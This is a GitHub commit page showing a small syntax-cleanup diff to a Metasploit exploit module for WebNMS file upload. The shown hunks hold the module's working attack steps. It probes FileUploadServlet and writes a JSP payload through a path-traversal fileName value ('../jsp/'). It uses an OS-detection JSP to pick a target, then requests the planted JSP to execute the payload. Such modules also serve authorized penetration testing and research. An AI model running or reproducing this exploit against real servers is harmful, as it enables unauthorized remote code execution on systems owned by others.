Skip to content

Commit 8968a66

Browse files
committed
Syntax cleanup
1 parent 927b3a8 commit 8968a66

File tree

1 file changed

+11
-19
lines changed

1 file changed

+11
-19
lines changed

modules/exploits/multi/http/webnms_file_upload.rb

Lines changed: 11 additions & 19 deletions
Original file line numberDiff line numberDiff line change
@@ -72,10 +72,8 @@ def initialize(info = {})
7272

7373
def check
7474
res = send_request_cgi(
75-
{
76-
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
77-
'method' => 'GET'
78-
}
75+
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
76+
'method' => 'GET'
7977
)
8078
if res && res.code == 405
8179
return Exploit::CheckCode::Detected
@@ -90,13 +88,11 @@ def upload_payload(payload, is_exploit)
9088
print_status("#{peer} - Uploading payload...")
9189
end
9290
res = send_request_cgi(
93-
{
94-
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
95-
'method' => 'POST',
96-
'data' => payload.to_s,
97-
'ctype' => 'text/html',
98-
'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
99-
}
91+
'uri' => normalize_uri(datastore['TARGETURI'], 'servlets', 'FileUploadServlet'),
92+
'method' => 'POST',
93+
'data' => payload.to_s,
94+
'ctype' => 'text/html',
95+
'vars_get' => { 'fileName' => '../jsp/' + jsp_name }
10096
)
10197

10298
if res && res.code == 200 && res.body.to_s =~ /Successfully written polleddata file/
@@ -117,10 +113,8 @@ def pick_target
117113
jsp_name = upload_payload(os_finder_payload, false)
118114

119115
res = send_request_cgi(
120-
{
121-
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
122-
'method' => 'GET'
123-
}
116+
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
117+
'method' => 'GET'
124118
)
125119

126120
if res && res.code == 200
@@ -221,10 +215,8 @@ def exploit
221215

222216
print_status("#{peer} - Executing payload...")
223217
send_request_cgi(
224-
{
225-
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
226-
'method' => 'GET'
227-
}
218+
'uri' => normalize_uri(datastore['TARGETURI'], 'jsp', jsp_name),
219+
'method' => 'GET'
228220
)
229221
end
230222
end

0 commit comments

Comments
 (0)